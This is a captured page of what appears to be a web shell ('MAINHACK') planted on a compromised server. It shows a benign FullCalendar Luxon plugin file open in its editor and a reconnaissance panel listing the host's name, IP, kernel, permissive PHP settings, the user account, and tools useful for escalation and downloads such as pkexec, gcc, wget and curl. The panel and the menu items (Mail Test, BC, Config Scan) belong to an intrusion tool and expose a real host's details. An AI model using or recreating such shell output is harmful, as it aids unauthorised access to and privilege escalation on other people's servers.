[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.global.js
/*! FullCalendar Luxon 3 Plugin v6.1.13 Docs & License: https://fullcalendar.io/docs/luxon (c) 2024 Adam Shaw */ FullCalendar.Luxon3 = (function (exports, core, luxon, internal) { 'use strict'; function toLuxonDateTime(date, calendar) { if (!(calendar instanceof internal.CalendarImpl)) { throw new Error('must supply a CalendarApi instance'); } let { dateEnv } = calendar.getCurrentData(); return luxon.DateTime.fromJSDate(date, { zone: dateEnv.timeZone, locale: dateEnv.locale.codes[0], }); } function toLuxonDuration(duration, calendar) { if (!(calendar instanceof internal.CalendarImpl)) { throw new Error('must supply a CalendarApi instance'); } let { dateEnv } = calendar.getCurrentData(); return luxon.Duration.fromObject(duration, { locale: dateEnv.locale.codes[0], }); } // Internal Utils function luxonToArray(datetime) { return [ datetime.year, datetime.month - 1, datetime.day, datetime.hour, datetime.minute, datetime.second, datetime.millisecond, ]; } function arrayToLuxon(arr, timeZone, locale) { return luxon.DateTime.fromObject({ year: arr[0], month: arr[1] + 1, day: arr[2], hour: arr[3], minute: arr[4], second: arr[5], millisecond: arr[6], }, { locale, zone: timeZone, }); } class LuxonNamedTimeZone extends internal.NamedTimeZoneImpl { offsetForArray(a) { return arrayToLuxon(a, this.timeZoneName).offset; } timestampToArray(ms) { return luxonToArray(luxon.DateTime.fromMillis(ms, { zone: this.timeZoneName, })); } } function formatWithCmdStr(cmdStr, arg) { let cmd = parseCmdStr(cmdStr); if (arg.end) { let start = arrayToLuxon(arg.start.array, arg.timeZone, arg.localeCodes[0]); let end = arrayToLuxon(arg.end.array, arg.timeZone, arg.localeCodes[0]); return formatRange(cmd, start.toFormat.bind(start), end.toFormat.bind(end), arg.defaultSeparator); } return arrayToLuxon(arg.date.array, arg.timeZone, arg.localeCodes[0]).toFormat(cmd.whole); } function parseCmdStr(cmdStr) { let parts = cmdStr.match(/^(.*?)\{(.*)\}(.*)$/); // TODO: lookbehinds for escape characters if (parts) { let middle = parseCmdStr(parts[2]); return { head: parts[1], middle, tail: parts[3], whole: parts[1] + middle.whole + parts[3], }; } return { head: null, middle: null, tail: null, whole: cmdStr, }; } function formatRange(cmd, formatStart, formatEnd, separator) { if (cmd.middle) { let startHead = formatStart(cmd.head); let startMiddle = formatRange(cmd.middle, formatStart, formatEnd, separator); let startTail = formatStart(cmd.tail); let endHead = formatEnd(cmd.head); let endMiddle = formatRange(cmd.middle, formatStart, formatEnd, separator); let endTail = formatEnd(cmd.tail); if (startHead === endHead && startTail === endTail) { return startHead + (startMiddle === endMiddle ? startMiddle : startMiddle + separator + endMiddle) + startTail; } } let startWhole = formatStart(cmd.whole); let endWhole = formatEnd(cmd.whole); if (startWhole === endWhole) { return startWhole; } return startWhole + separator + endWhole; } var plugin = core.createPlugin({ name: '@fullcalendar/luxon3', cmdFormatter: formatWithCmdStr, namedTimeZonedImpl: LuxonNamedTimeZone, }); core.globalPlugins.push(plugin); exports["default"] = plugin; exports.toLuxonDateTime = toLuxonDateTime; exports.toLuxonDuration = toLuxonDuration; Object.defineProperty(exports, '__esModule', { value: true }); return exports; })({}, FullCalendar, luxon, FullCalendar.Internal);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002